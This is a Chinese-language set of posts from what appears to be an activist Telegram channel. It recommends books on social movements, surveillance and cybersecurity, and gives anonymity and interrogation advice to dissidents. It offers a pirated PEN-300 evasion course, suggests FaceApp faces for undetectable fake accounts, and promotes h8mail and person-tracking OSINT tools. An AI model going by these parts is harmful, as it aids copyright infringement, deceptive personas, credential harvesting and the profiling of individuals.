从2019年10月18日开始，智利社会经历了自30年前奥古斯托·皮诺切特独裁统治结束以来最剧烈的社会反抗浪潮。起初只是一场中学生拒绝首都圣地亚哥地铁票价上涨的抗议活动，而后来迅速演变成全国范围内的民众反抗塞瓦斯蒂安·皮涅拉的右翼政府和近50年前独裁政权强加的新自由主义安排。

这场突如其来的、广泛而强大的社会不满情绪的表达，让许多习惯于在智利这个历史上最繁荣稳定的拉美国家的观察家们感到震惊。事实上，直到10月中旬，智利国内外的主流分析人士还都在强调智利近几十年来“经济大幅增长、教育扩张、大众消费增长、工资增长和腐败程度低”；就在现在“智利觉醒”抗议活动开始的前几天，皮涅拉总统还在坚持宣称智利的成功故事，宣称智利在动荡的拉丁美洲看起来”像一片绿洲” ……

但是，当然，这种传统的描述只是对智利的一个非常不完整的描述。它掩盖了快速变化的社会结构中隐藏的分层和错综复杂的因素，掩盖了消费社会平静的表面下弥漫着的但又明确无误的不满情绪，掩盖了对高度不平等的广泛愤恨，掩盖了社会运动缓慢但稳定地聚集力量的零星反抗和周期性动荡。

这些主流观察家们在此错得一塌糊涂。

事实上中国读者也许能从这本书中读到很多您熟悉的情节，比如 经济适用房和 “有尊严的生活” 追求，严重的不平等，被还贷压力击垮的 “负翁”，学历贬值、毕业即失业，打工人和流民，低端人口 …… 它通过反思性对话的形式帮助您理解到为什么在中国舆论场上很多最耳熟能详的和看似不相关社会讽刺和哀怨，事实上都有一个共同的根源性病灶。

尤其是，希望您能借此思考我们可以如何解决这些问题—— 关于反抗运动战略设计的有效性。

下载：https://t.me/iyouport/8337

下载：https://www.patreon.com/posts/dui-kang-xin-zi-47362313

《Hegemony How-To: A Roadmap for Radicals》

「图」

如何建立成功的社会正义运动？一份有力、严谨和清晰的指南——

这是一本实用的政治斗争指南，适用于对权力、领导力和战略问题深感困惑的一代人。

长期从事基层组织工作的 Jonathan Smucker 对当今新兴运动的潜力抱有希望，但在面对当下反抗运动的内部功能障碍时，他的批评毫不留情。

他从个人的经验出发，对人们所熟悉的行动主义提供了深刻的理论见解，以洞悉彻底挫败的自我孤立主义和使纯粹主义瘫痪的根本趋势。同时，他提供了一些工具，这些工具可能会帮助今天的活动家克服他们的障碍，并取得成功。

这本书提出了一个重要问题：我们在追求一个更加公正和民主的世界时所依赖的运动如何能够长期维持和扩大？这可能是所有行动者都希

望了解的事。

要想与政权抗衡，基层组织和社会运动所要做的不只是仅仅拥有一个建立更美好世界的愿景；他们需要真正拥有某种如何到达那里的感觉——对社会制度出了什么问题的了解和对如何改变制度的知识，是两种完全不同的知识类别。

📌 这本书首先关注的是后者，因此它可以是二十一世纪组织者用于建立和行使集体权力的日常工作的工具箱：关于如何建立组织，如何提供切入点和参与阶梯，如何制定经过校准的战术以使更多的个人和组织从被动支持转变为主动盟友，以及如何提出一系列观念和叙述，这些观念和叙述应该位于您的本土文化主题之内，而不是它们之外。

希望这本书能被许多有奉献精神的年轻反抗者所掌握，这里指出的很多情况都是您容易遇到的。这个世界将变成什么样，在很大程度上取决于当今正在出现的新的社会运动，以应对我们目前面临的多重危机。希望中国的活动家能从这本书的包容性运动的论点中受益，让运动可以真正做到夺取资本家和政客的权力，从而建立一个更加自由民主的世界。

IYP目前正在运行多个相关领域的系列教程，包括“行动主义”、“信息行动主义”、“示威参与者指南”，如果您更喜欢中文内容，这些系列您都可以参考，我们已经将它们在 列表-5 中单独分类；同一列表都是服务于行动者的内容，从战术到思考、从维稳新动态到反抗经验，以及21世纪最新颖的反抗形式。

您可以随时拿走任何您需要的东西。

下载：https://t.me/iyouport/8342

下载：https://www.patreon.com/posts/ru-he-jian-li-de-47457273

黑客主义抵制群众斗群众

「图」

黑客主义行动泄露群众斗群众应用程序数据。

一名据称隶属匿名者组织的黑客从邻里监视应用程序Citizen中泄露了大量数据，并将其发布在一个暗网网站上。这些数据包括与170万个“事件”有关的大量信息——这些事件是Citizen通知用户他们所在地

区的 “犯罪” 或被怀疑为犯罪的事件—— 例如事件发生地的GPS坐标，其更新历史，与该事件有关的警察广播的片段，以及相关图像等。

该应用程序在抗议活动中被用于群众斗群众—— 将抗议者举报给警察。

黑客在网站上写道：“去他妈的告密者，去他妈的Citizen，去他妈的安德鲁·弗雷姆，记住，孩子，警察不是你的朋友！”

安德鲁·弗雷姆是Citizen的首席执行官；弗雷姆负责悬赏30,000美元征集信息，以逮捕该公司**错误地**怀疑引发最近一场野火的人。

随着黑客大规模地泄露这些信息，并以一系列文件的形式发布下载，这些数据就类似于很多城市的警察活动的完整记录汇总，使记者和研究人员能够更深入地了解该应用在全国的使用和传播情况。

除了上述“事件”数据，公布的缓存还包括上传到 Citizen 的视频的元数据，以及存储在 Citizen 服务器上的150万个视频的URL的大列表（总计70TB的剪辑）。该列表中还包括那些被 Citizen 的内容审核团队标记为从公共信息流中删除的视频，这些视频仍然可以访问。

这绝不是特例，群众斗群众在全世界都存在，以各种不同的方式；比如最近的缅甸抗议活动中，西方媒体和观察员犯了一个大错误，他们认为缅甸 “有支持政变的人和反对政变的人之间的冲突”，不！并没有！没有人支持政变；军政府借助冠状病毒危机中失业的家庭的经济窘境，给他们发钱，让他们去殴打反政变抗议者—— 用刀子给多少钱、用砖块给多少钱、用拳头 …… 都是明码标价的。对于那些穷人，这些钱是他们养活自己的孩子的唯一方法。

我们将在不久后详细分析这些事件。

中国社会对群众斗群众这种方式应该很熟悉了，中国网络上有很多 “举报功能”，都是这一性质；虽然中国还没有大规模的抗议活动，如果有的话，类似 **Citizen** 这种东西，您很可能会在中国看到。

它的工作原理是：先通过大量的统治者控制的媒体渠道对抗议者进行抹黑，让更多人相信抗议者是在 “搞破坏、危害大众生活”，然后发动举报、甚至悬赏举报。这不仅孤立了反抗者、让反抗者难以动员社会，甚至让反抗思想本身陷入危机—— 人们彼此间不再信任，因为不知道谁在什么时候会成为当局的告密者。

📌 对于反抗者来说这是个重要的问题，您的运动必需有自己的、影响力足够大的媒介（网站、频道、社交媒体、发言人等），在我们提供的《直接行动分布指南》中“角色分配”项目中包含。并且，您还要知道该怎么做：如何与媒体互动才能避免被利用、在被官方抹黑时如何及时批驳，一旦被捕，如何面对警察，等等。未来我们将逐步介绍每一件事的注意事项。

1. tools 我们介绍过如何制作假人脸的最简单方法，在您的分身术中使用。

但是GAN（生成对抗网络）产生的图像可以很容易被一些软件检查出来—— 这些检查软件在开源情报调查中经常被使用。

现在，您可以使用FaceApp创建全新的面孔，并且做到难以被这类软件检测到。通过将现有照片与其他人的脸相结合，您可以创建一张独特的照片，非常逼真。在您的分身账户中使用，还能避免被发现—上面截图中的照片就是假的，那个人不存在，但没有检测出来。

iOS: https://apps.apple.com/us/app/faceapp-ai-face-editor/id1180884341

Android: https://play.google.com/store/apps/details?id＝io.faceapp

1. tools Lyzem 是一个很有前途的搜索工具 —— 用于搜索Telegram，不使用任何运算符的最普通的搜索就能呈现出很多谷歌不容易找到的东西。

它擅长搜索信息和频道，包括 telegram群组、机器人 、以及通过Telegram 的博客写作工具 telegra.ph 发布的内容。

上图是一个例子，您可以看到它有选择语种的选项；以及搜索框下面，“all”后面分别为：频道、群组、机器人、Telegraph、消息。

其中“消息”是指telegram中发布的内容的关键字，只要是公开消息都可以搜到。比如上图这样，其中每一条内容都是一个链接，点击它们会指向相应的telegram频道。虽然其中有些频道已经被封锁了，但是您依旧可以搜到它们的内容。

https://lyzem.com/

《Private Government: How Employers Rule Our

Lives (and Why We Don’t Talk about It)》&《Freedom from the Market: America’s Fight to Liberate Itself from the Grip of the Invisible Hand》

「图」

在私人政府的靴子之下——

政府可以因为您违反他们的规则而将您关进监狱；老板可以解雇您，剥夺您生活所需的基本资源。与民主形式的公共政府不同，工作场所让您受制于哲学家伊丽莎白·安德森（Elizabeth Anderson）所说的一种“私人政府状态”，没有公平性、没有问责制，甚至没有规律性的推定，你也无法通过选票解除压迫—— 这是一个微型的专制国家。

四分之一的美国工人说他们的工作场所是“专制”状态。然而，如果您能认识到大多数雇主的本质，这个数字只会更高——“私人政府”对您的生活拥有广泛的专制权力，无论在职还是离职。

人们通常认为政府是只有国家才会做的事，但我们中的许多人却被工作场所的私人政府统治得更多，而且更令人讨厌。在这本具有挑衅性和说服力的书中，Elizabeth Anderson 指出，人们未能看到这一点源于长期以来的困惑；这些困惑解释了为什么尽管所有的证据都是相反的，但我们仍然说得好像“自由市场能让工人自由”一样，以及为什么那么多雇主一边主张减少政府权力，另一边却是在他们自己的企业中充当独裁者。

在许多工作场所，雇主对工人的言论、服装和礼仪进行着细致的管制，使工人们几乎没有任何隐私，也没有其他基本人权。而且雇主常常把他们的权力延伸到工人的下班生活中。越来越多的工人因为政治言论、娱乐活动、饮食、以及几乎所有雇主关心的其他管理内容，而被解雇。然而，我们仍然在谈论市场社会的早期倡导者—— 从约翰·洛克和亚当·斯密再到托马斯·潘恩和亚伯拉罕·林肯—— 当他们认为市场社会将把工人从压迫性的权威中解放出来时，他们的观点是正确的。但是，这个梦想已经被工业革命击碎了，只有这个神话依然存在。

这本书提供了一种更好的方式来谈论工作场所，为帮助工人享受真正的自由打开了空间。

此前我们发布了一篇文章，《时间就是基本人权，是自由理念的重要战场（996不止是辛劳）》，这篇文章是来自**2021**年一本新书的片

段，这本书是《Freedom from the Market: America’s Fight to Liberate Itself from the Grip of the Invisible Hand》。

两本书是同一个目的，希望它们能帮助中国的劳工运动获得灵感。

下载：https://t.me/iyouport/8366

下载：https://www.patreon.com/posts/zai-si-ren-zheng-47484888

《Evasion Techniques and Breaching Defenses #OSEP》

「图」

PEN-300课程，资料和视频，免费拿——

欢迎来到逃避技术和突破防御（PEN-300）课程。PEN-300是为那些已经在进攻技术和渗透测试方面具有一定经验的安全专业人员创建的。本课程将帮助您更深入地开发技能和知识，以便做到在执行高级攻击时绕过许多不同类型的防御。

尽管渗透测试和红队测试之间有许多技术重叠，但目标却不同。PEN-300将提供对成熟的具有安全级别的组织进行高级渗透测试所需的知识和技术。这不是红队课程。

本课程涵盖的主题包括诸如客户端代码执行攻击、防病毒规避、应用程序白名单绕过、网络入侵检测绕过之类的技术。课程的后半部分重点介绍关键概念，例如横向移动、旋转和对Active Directory的高级攻击。由于PEN-300是高级渗透测试课程，因此通常不会处理逃避蓝队的行为。相反，它将专注于绕过阻止攻击的自动安全机制。

该课程包括PDF格式的本实验指南、以及随附的课程视频。 PDF和视频中包含的信息是互补的，这意味着您可以阅读实验指南，然后观看视频来填补空白，反之亦然。在某些模块中，实验指南比视频更详细；在其他情况下，视频可能比指南更好地传达了一些信息。重要的是，您必须同时注意两者。该实验指南还在每章的末尾包含练习。完成课程练习将帮助您巩固知识，并真正动手实践攻击和破坏实验室机器所需的技能。

这个课程不便宜，也许会有一些人无力承担它的费用，所以 ……F**ckCopyrights，在这里免费获取。自用无碍，不要出售！不要出

售！（如果您喜欢，欢迎去他们那购买正版）

下载内容中第一个是PDF，后两个是视频。

下载：https://t.me/iyouport/8371

下载：https://www.patreon.com/posts/pen-300ke-cheng-47789890

转帖 ——

「图」

美国隐私技术工作者 Robert G. Reeve 在自己的母亲家里住了一个星期，然而，他在推特上收到了他母亲使用的牙膏品牌的定向广告。

请注意，他从来没有在谷歌搜索过这款牙膏，也从来没有在任何地方谈论过这款牙膏。

而他收到这一定位广告的事实，证明了监视资本家在背后对我们每个人都做了什么。

以下是具体解释。

首先必须澄清：您的应用程序没有在监听您。那只是因为它们根本没必要那样做；

因为您已经不假思索地给了他们一切—更便宜、更强大的数据。

您的应用程序会从手机中收集大量数据。数据聚合商付费从任何地方提取数据，综合为对您的深刻描述，

具体解释详见：《单向镜的背后：监视资本家和政府的联手一直在如何折腾你？》

他们可以将您在超市购买的商品与您的推特账户相匹配，因为您使用手机支付或信用卡，而您已经提供了手机号给支付商和推特。

您已经在“服务条款”中不假思索地点击了 “同意”。

而这还不是最疯狂的。

真正疯狂的地方是：如果您的手机经常与另一部手机位于同一个位

置，他们就会开始重建您经的人际网络。

手机经常使用Wi-Fi，而Wi-Fi是出卖您的最常用方式

在这里看到为什么：《为什么你不应该使用Wi-Fi》。

参加任何敏感活动不要携带手机，这是最基本常识。或者至少将手机放在法拉第袋里。

定位者将您的兴趣、浏览历史和购买历史交叉使用给您周围的人。根据您周围的人向您显示不同的广告，

或者，连锅端。

很久以前曾经参加过抗议活动的人都能被轻易挖出来——“秋后”可以指很多年之后的任何时候，在您最措手不及的时候。

详情见，一个追逐演示：《利维坦眼中的世界》

重要的事情上，不要出错。否则，您可能没有“下一次机会”……

6月，“敏感时刻”思考安全性

又到了6月。在中国，人们都知道这意味着什么。

最近几天来已经出现了一些紧张的动向，一些异议人士被逮捕，被起诉“寻衅滋事”；同时，已经在异议领域工作了十几年的博主“编程随想”被传出“失踪”的消息—因为连续20多天没有更新内容。

有中国朋友认为，编程随想已经工作了这么久，都没有被当局发现真实身份，说明他很专业，”他应该没有危险”。我们当然祈祷所有人都平安，但是，很遗憾，工作时间久并不是风险指数低的标志；相反，风险将随着时间的推移而不断增大。

通过专业的安全培训，大多数人都能在短期内保持匿名安全，但如果您想要长时间坚持住，并不那么容易。您需要一个与现实完全不同的身份，并确保其与您的真身之间毫无关联。

这意味着您将持续肩负一个巨大的秘密，两个身份之间的一举一动都不能产生相关性线索。这并不容易做到。

我们在3年前第一次详细介绍假身份时已经强调了匿名行动者的心理

健康问题，在这里看到：《使用社交媒体时你必须注意什么？—— 🔐 更安全的抵抗》。

心理健康绝非小事，因为，您只有在精神心理正常的情况下，才能够准确采取恰当的安全措施、才能敏锐地行动、正确地评估局势、并在冷静的情况下有效保护自己和合作者的安全；不会因为倦怠而忽视威胁信号，也不会因为草木皆兵而夸大威胁性。这就是为什么我们在《整体安全》培训教程中将心理健康描述为行动者的福祉。

而时间会摧残几乎一切。匿名和假名无疑是安全措施，但也是一个巨大的压力，并且，这一压力会随着时间的推移而变得越来越大。而您必需准确识别压力的变化，并在确认安全的情况下寻求帮助。这在《整体安全》教程中都有详细介绍，有具体的办法可帮助您保持敏锐和准确的判断力，不被压垮。

不用太担心，自古以来人类的很多工作都需要类似的长期隐藏，也因此，现在我们有非常多的前人经验可以学习，只要您想要。

此外，近期一些异议人士被逮捕后，其他与被捕者有联系的、处于秘密工作中的活动家开始担心自己的安全。鉴于中国的活动家普遍没有经过专业的培训，其保密能力无法评估，这些担心是完全正常的和合理的。

我们在《直接行动分布指南》中强调过这点：不论发生任何情况，都不能出卖自己的队友！这是最基本的原则！只有这样，我们的合作才能让彼此有安全感。

一旦您和队友中任何人被捕，就会遭受所有可以想象的和无法想象的状况，以逼迫和诱导您提供他人的信息。就算您能扛得住酷刑，也不一定能扛得住诱骗 —— 社交工程学最阴暗的用例之一就是在诱供中，它旨在操纵一个人不由自主地说出来。

在这里看到诱供者经常会采取的伎俩，以及如何抵御：《如何让一个人心甘情愿吐露重要信息？—— 社交工程攻击“诱导的艺术”》。

（在我们的 “心理学和社交工程” 栏目中找到更多相关内容）

请记住，您说出的任何一句话都会被警方作为线索去迫害您的队友、您的家人、和给您定罪；您每多说一句话就会暴露更多的信息，包括您的表情神态，所有信息结合起来就是一个完整的曝光。

美国反抗者在传授如何对付警察审讯的教程中不断强调的一句话就

是：任何时候不要和警察说话，不要说任何话，包括您认为“无碍”的话题；因为警察不会和您聊家常，他们所说的每一个字都是战略性的，战略目标就是让您坦白一切。

请切记这点。我们也介绍过如何应对逮捕后的状况，在这里：《充分利用大规模逮捕：示威参与者指南（7）》。

反过来看，如果您的亲密团队中无法**确保**所有人都能熟练使用并遵循《安全文化》，您就必需做到“信息最小化”：让每一位合作者仅仅知道他们必需知道的事—这里的“必需”指的是与您的行动计划密切相关的东西，此外的任何信息都不应该透露。以避免其中有任何人被捕后被诱供，导致你们其他人遭受连锅端。

《安全文化》适用于活动家、游击队员、秘密工作者等等任何需要高度安全性的人和团队，简单说，它旨在抵御专业级的渗透和逼供。一定要将安全文化纳入您的团队的培训课程，这对每个人来说都非常重要，包括您自己。

当然，您需要根据您的实际行动计划评估出的威胁模型，对安全文化框架进行您的本地化调整。确立威胁模型是任何行动的第一步，它将指导您的整体行动方案中每一步的战术选择和人际合作。

任何人，如果拒绝遵循您的团队共识的安全文化准则，您就不应该与其合作，不应该让其了解与您相关的事实；

同样，不参与您的行动的任何人都不应该了解与您的行动有关的任何事，包括您的亲人和亲密关系。在我们欧洲，警察和间谍采取的秘密行动就包括通过性关系套取活动家的情报；

此外，如果一位合作者在最初加入，而期间退出行动，应该将这件事视为一个Bug! 一个安全漏洞，您需要迅速评估退出者所了解的与您的行动相关的一切，并相应地做出改变 —— 比如密码、地点、时间、暗号等等，您知道都包括什么。目的是，确保即便退出者被逼迫说出你们的信息，这些信息也已经失效。

将安全文化作为您的原则，您就不会担心任何队友被捕、任何渗透者破坏，当然，也不至于担心与其他人发生亲密关系，因为您知道什么时候该说什么，什么时候应该保持沉默。

在包括中国在内的很多国家，日常的发言和撰写文章就不得不被视为“行动”，如果您准备继续异议的身份，所有这一切安全措施您都应该

了解并有效执行。

《Big Breaches: Cybersecurity Lessons for Everyone》

「图」

网络安全2021——

在过去15年里，网络安全行业的投资额超过450亿美元。在一次又一次的入侵事件中，该领域的数十万个工作岗位仍然空缺。安全知识不应该是专家所独有的。

现在是时候让每个人—— 而不仅仅是技术专家—— 都了解网络安全问题并增强其能力了。

这是2021的新书，它以引人入胜的方式涵盖了一些最大的安全漏洞及其背后的技术主题，如网络钓鱼、恶意软件、第三方入侵、软件漏洞、未加密数据等。网络安全影响着我们所有人的日常生活，而这一领域从来没有像这本书这样容易被人们理解。

在这本书中，您将自信地掌握行业内幕知识，如有效的预防和检测、查找根源问题、系统优化安全的七个关键习惯等等。这些宝贵的经验被应用到各种实际案例中，帮助你推导出一些备受瞩目的特大入侵事件是如何发生的。

不论您目前的水平是什么，您都可以从这本书中获得新的知识。用专家见解武装自己，为网络安全的未来做好准备。

如果您有兴趣了解网络安全是怎么回事、迄今为止该领域发生的失败、以及如何避免这些失败，这本书就适合您。对于安全领域的负责人和工作人员来说，它涵盖了从如何创建安全文化到您可以采用的技术和流程等多方面的见解，您可以从过去他人的失败中吸取教训以实现您自己的安全。

下载：https://t.me/iyouport/8397

下载：https://www.patreon.com/posts/wang-luo-quan-48077778

《Extreme privacy : what it takes to disappear》

「图」

新版 ~ 如何让自己消失——

这是2020新版。如您所知，其中提出的建议是最新适用的。

我们曾经发布过这本书早前的版本《大隐隐于互联网》，其中一些内容现在可能已经失效。

但请记住，这套书的作者 **Michael Bazzell** 是**FBI**网络犯罪调查科的资深情报分析师，这并不仅仅意味着他“很专业”，尤其是，您应该知道，这意味着即便您做到的这套书中介绍的全部，也很可能无法躲避拥有**FBI**那种资源的监视者。

如今所有人都在互联网上，即便您根本不使用手机电脑，也无法躲避互联网了—— 您身边的物品正在越来越多地被联网、您需要办理生活和工作事务的机构也都是联网的，您的求学、求职、就医、保险、存款、纳税等等一切都是数字化的和联网的；于是，全世界互联网普及率近似的国家的政府间谍和警察，基本上有着近似的追踪监视能力—— 尤其是近似的手段，因为他们共享同一个基础设施。

所以您知道，追踪监视者的能力很大程度上取决于他们的资源水平，这就是为什么IYP经常说：“防御的战术思路应该是尽可能拖垮你的对手，耗尽他们的资源。你就赢了”。并没有绝对的安全，祈求绝对安全不仅是不现实的，而且会令您陷入虚无，更糟糕的是会让您错过真正能获取安全的可能。

换句话说，您的对手资源越雄厚，您的防御就会越费力，这就是“全球间谍机构能力排行榜”那种东西的有用之处—— 帮助您判断您的对手的实力，这种实力是动态变化的。

📌 并且，尤其是，信息很可能不对称。比如，您应该从我们的列表-4 “罪恶者谁在帮中国” 板块中看到了很多这类案例，秘密的监视追踪技术/监视能力的协作在很多年后才被揭露出来—— 最近的案例是甲骨文，那家竞购TikTok的美国巨头，事实上中国公安的大数据分析都是该巨头所为；也就是说，如果没有甲骨文的“鼎力协助”，中国警察即便收集了所有信息，也一无所用，那只是一团乱麻而已。是甲骨文让中国警察具有了神奇的老大哥能力：这件事已经至少延续了**10**年之久。在这里看到《10年，美国巨头帮助中国构建的反乌托邦地狱》。

请注意，甲骨文是美国间谍机构和军方的技术铁腕之一，从70年代开始至今；所以，如果您认为作为生活在中国的人，或者生活在巴西、

沙特、阿联酋等国家的人“没必要了解美国的监视追踪能力”，那您就错了。因为您永远也不可能完全知道这些监视能力在如何跨国流通，直到有吹哨人说出真相。也不必认为“穷国没钱买高端的间谍技术”，最近披露的消息就包括7个非洲“穷国”在使用以色列的间谍软件，没错，就是那种贵到天际的恶魔技术。

“穷国”可能没钱给所有公民购买疫苗，但在间谍公民方面，他们从不缺钱。所有政权在乎的都是他们自己的权力稳固，而不是老百姓的死活。

总之，这本书应该是您需要的，但最好不要认为“这样就够了”，不过您真的可以从这本书中理解到间谍和警察在想要追踪一个人时是如何思考的。

我们会强调，这些书所透露的思考方式，比它们所提供的技术工具更加重要。不论间谍手段有多高端，它始终是人在操作，人的思路会决定一切结果—— 关于，警察和间谍为什么会把瞄准镜指向您的见解；从而得出：如何才能不被他们瞄准。

📌 如果您真的希望获得安全建议和相关技术建议，不要错过我们曾经提供的4个系列内容：《完美隐身》、《难以被追踪》、《在敌对环境中保护自己》、以及《整体安全》教程，此处的链接都是相关系列的最后一集，其中包含该系列完整列表。这些资源都是行动者和专业人士经过多年实践积累的经验，其中没有任何利益关系—— 这些知识来自咱们的“自己人”。

自己人也有想不到的事，那就是这本书和这类书籍能提供的东西。希望您可以享受到它最重要的那部分价值。

下载：https://t.me/iyouport/8400

下载：https://www.patreon.com/posts/xin-ban-ru-he-zi-48163317

#tools 我们曾经多次提到过一个 #跨平台跟踪目标人 的调查工具 Sherlock，它一直是个命令行工具，现在有一个好消息：Sherlock 有了GUI 版本。这对于初学者来说或者桌面空间有限的人来说，会更加方便。

界面很干净，您可以试试看：https://userhunt.co/

如果您希望了解更多跨平台追踪工具和技巧，看这里：《从跨平台跟踪到心理分析：社交媒体情报收集简易指南》。

#tools 在进行基于电子邮件的追踪调查时，从您知道的信息转向您不知道的信息的一个常见方法是，检查一个电子邮件地址是否曾是主要或次要数据泄露的一部分。有几个原因。

首先是了解该电子邮件地址的常用程度。如果您发现一个目标电子邮件包括在20多个漏洞中，很可能该电子邮件的所有者经常使用它；或者，它可能是一个一次性电子邮件，其所有者使用它来避免广告或获得安全。

第二是，了解目标用户可能有哪些类型的档案与该电子邮件有关。例如，如果您正在调查的电子邮件是Facebook电子邮件漏洞的一部分，您就会知道它与一个Facebook账户相关。如果您能验证该电子邮件的所有者，就可以评估您手中的电子邮件是否被用来注册一个有问题的账户。

为此推荐一个工具：Breachchecker，这是一个非常用户友好的Web应用，它不仅允许您检查一个电子邮件是否被泄露，而且还包括哪些泄露。它还可以让您知道泄漏发生的时间，给您一个事件的时间线。这可以帮助您确定目标电子邮件有多老。

https://breachchecker.com/

#tools socid-extractor 是一个Python脚本，它允许您从个人资料网页/API中提取有关用户的信息，并将其保存为机器可读的格式。

支持的网站包括：

- 谷歌（所有文档页面，地图贡献），需要 cookies

- Yandex（disk, albums, znatoki, music, realty, collections），需要 cookies

- Facebook（用户和群组页面）

- Instagram

- Reddit

- Medium

- Flickr

- Tumblr

- TikTok

- GitHub

- VK (用户页面)

- OK (用户页面)

- Mail.ru (my.mail.ru用户主页，照片，视频，游戏，社区)

当您有一系列您已经验证过的账户作为调查的一部分时，这个工具很有价值。与其访问每个页面并手动提取信息，您可以使用 socid-extractor，更快捷地抓取这些信息。好消息是，如果您已经在使用像Maigret这样的工具，socid-extractor 已经包括在内。它也包含在一个叫做 YaSeeker 的常用开源调查工具中。

https://github.com/soxoj/socid-extractor

#**tools** YouTube Geofind 是一个Web应用，允许您按地点、主题或频道搜索有地理标签的视频。视频可在地图中查看，并可导出为CSV。这个工具最近在2020年12月进行了更新。位置和主题搜索现在包括对地理标签结果的语言过滤。

如果您想跟踪调查某个特定地点的特定类型的事件，YouTube Geofind 是一个很好的开始。因为它很容易使用，任何人都可以使用这个工具开始进行特定地点的调查。

请注意，这个工具只捕捉已被贴上地理标签的视频，比如突发的大型群体事件。如果您是新手，这是一个很好的开源情报工具的尝试。

https://mattw.io/youtube-geofind/location

《Necessary Illusions- Thought Control In Democratic Societies》

「图」

必要的幻觉：民主社会中的思想控制 ——

正如您所看到的，2021年以审查和封杀的大清洗拉开序幕。我们一直

在跟进这件事，但我们和其他绝大多数观察者一样，都是从反审查和反垄断的机械角度思考这一状况的，也许这还不够充分。

最近我们听说，今年一月，中国出版了乔姆斯基1989年的经典著作《必要的幻觉》的中译本，在局势角度上这可能是一个很及时的出版，就如去年我们介绍过的爱德华·塞缪尔·赫尔曼和乔姆斯基合作编写的《Manufacturing Consent》一样（这是自由之战在学界中最著名的论述），相关论述还有很多，然而它们的共同点是，它们所揭露的灾难，直到如今都没有改变。

在这里看到乔姆斯基近期的视频：《谁才是宣传者》。

这样的结果并非论述不足（几十年来相关论述已经足够充分），而是，这些揭露继续受制于思想控制机器的强大作用力，难以获得足够广泛的周知以推动反抗运动。简单说，它们还没能打破统治阶级植入大众头脑中的神话。

我们有一个单独的列表—列表-3 “守门人和斗智”，其中汇总的内容旨在解决这一问题—— 培养和发展公民独立替代媒体，与当权者操控的叙事矩阵作斗争。但首先人们需要了解为什么这是重要的，如果依旧有太多人被困在当权者构建的虚假神话中而看不到问题，解决方案很可能不会被重视。2021年大众对审查大清洗的惊人支持度就足够显示这种神话的威力。

在2021年重读这本书是必要的，尤其是，如果您的奋斗是旨在获得一个更好的政治体制的话。希望不久后就能得到这本书中文版的数字版本，您可以和英文原著对比阅读。

下载：https://t.me/iyouport/8420

下载：https://www.patreon.com/posts/bi-yao-de-huan-48811378

《Incident Response in the Age of Cloud: Techniques and best practices to effectively respond to cybersecurity incidents》

「图」

紧急事故响应：在造成严重后果之前阻止攻击——

攻击者总是在寻找新的方法和途径来渗透系统。迅速应对事故应有助

于将损失降到最低，减少脆弱性，并重建服务和流程。如果一个组织不知道如何有效地实施关键的紧急事故响应（IR）最佳实践，就极易受到网络攻击的损害。

在COVID-19大流行之后，大多数组织都倾向于远程办公和使用云，这本2012年的新书提供了最新的紧急事件响应流程，以应对相关的安全风险。

这本书首先向您介绍网络安全环境，并解释为什么IR很重要。您将了解IR的演变、当前的挑战、关键指标和IR团队的组成，以及有效的IR流程中使用的一系列方法和工具。然后，您将学习如何应用这一概念性工具箱，并讨论事件预警、处理、调查、恢复和报告。

您将涵盖在多个平台上管理IR和共享网络威胁情报的技巧。然后，您将彻底探索云中IR所涉及的整个程序范围—— 挑战、机会以及如何处理网络钓鱼事件。

此外，您还将了解如何建立积极主动的事件准备文化，学习和实施IR最佳实践，并使用 Keepnet Labs 和 Binalyze 的工具探索实际案例研究。最后，这本书以 “向专家提问” 部分结束，在该部分中，行业专家就IR领域的不同主题提供了他们的观点。

在本书结束时，您应该能够熟练地建立和应用IR战略，并先发制人，充满信心。

您将学到：

- 了解IR及其意义
- 组织一个IR团队
- 与您的IR团队一起探索管理攻击情况的最佳实践
- 组建、组织和运作产品安全团队，处理漏洞并评估其严重性
- 组织所有参与安全应对的实体
- 根据 Keepnet 实验室的流程和实践，对安全漏洞进行响应
- 将上述所有学习内容适应于云

下载：https://t.me/iyouport/8425

下载：https://www.patreon.com/posts/jin-ji-shi-gu-zu-48911838

1. tools h8mail是一个功能强大的、用户友好的开源情报工具，允许您通过不同的漏洞和侦察服务来获取密码。它是开源的，用Python编写，有很多功能，Alpine Dockerfile可用，很容易安

装，而且开发者提供了大量的演示。绝对是为开源情报初学者设计的。它的数据集利用了10个API，包括 HaveIBeenPwned 和 Hunter。

https://github.com/khast3x/h8mail

当涉及到大规模的数据收集时，您的数据集越强大分析的机会就越多。h8mail可以从.txt读取，输出到.csv，找到类似的电子邮件，使您能够大规模地增加您的数据库和调查能力。

1. tools 公民调查经常使用诸如 Instant Data Scraper 和其他类似的抓取工具作为工作流程的常规部分。多年来，从社交媒体平台等有价值的资源中抓取数据已经变得更加复杂和难以实现。大规模使用 proxyfarms 和 sock puppets 已经导致许多社交媒体平台实施了复杂的反抓取措施来对抗大规模数据收集。

但依旧有替代方案。

使用 HAR File Web Scraper，您可以将自己的网络流量转换成 scraper，并在没有任何特殊工具、脚本或资源的情况下自动收集开源情报。

在这一过程中，您还会更加熟悉开发者工具。HAR File Web Scraper 是一个很好的工具，适用于跨社交媒体平台的中等规模调查项目，而传统的网页抓取是有限的：https://stevesie.com/har-file-web-scraper

这里有一个视频您可以看看：

《The “Essence” of Network Security: An End-to-End Panorama》

「图」

2021新书：关于网络安全您应该知道的一切——

这是2021年的新书，对网络安全的相关原理和应用进行了优化描绘。这本书在主题上分为五个部分：

A部分介绍了与网络安全相关的入门问题，并介绍了一些前沿技术的概念；

B部分在此基础上，向读者介绍了数字取证、云取证和物联网取证技术；

C部分向读者介绍了区块链和密码学技术；

D部分介绍了人工智能和机器学习在网络安全中的作用。

最后，E部分介绍的是不同的安全网络方法论。

这是一本关于网络安全的好书，书中的章节清晰明了，规划合理。所有最新的安全技术都与即将到来的研究问题进行了详尽的解释。互联网架构、安全需求、加密、密码学以及机器学习和人工智能在网络安全中的应用等细节都有详细的呈现。

这本书内容广泛，全面阐述了网络安全的概念、方法和实践，并综合介绍了网络安全政策和目标。对于网络从业人员以及开发和维护安全计算机网络的专业人员来说，这是一本必不可少的资源。

下载：https://t.me/iyouport/8429

下载：https://www.patreon.com/posts/2021xin-shu-guan-48937403

《Coding democracy : how a growing hacking movement is disrupting concentrations of power, mass surveillance, and authoritarianism in the digital age》

「图」

编码民主——

黑客是至关重要的破坏者，他们激发了新一轮的激进主义运动，在此浪潮中，普通公民重新获得了民主。面对新技术带来的权力高度集中、大规模监视和专制主义，黑客运动试图将民主“建立”到网络空间中。

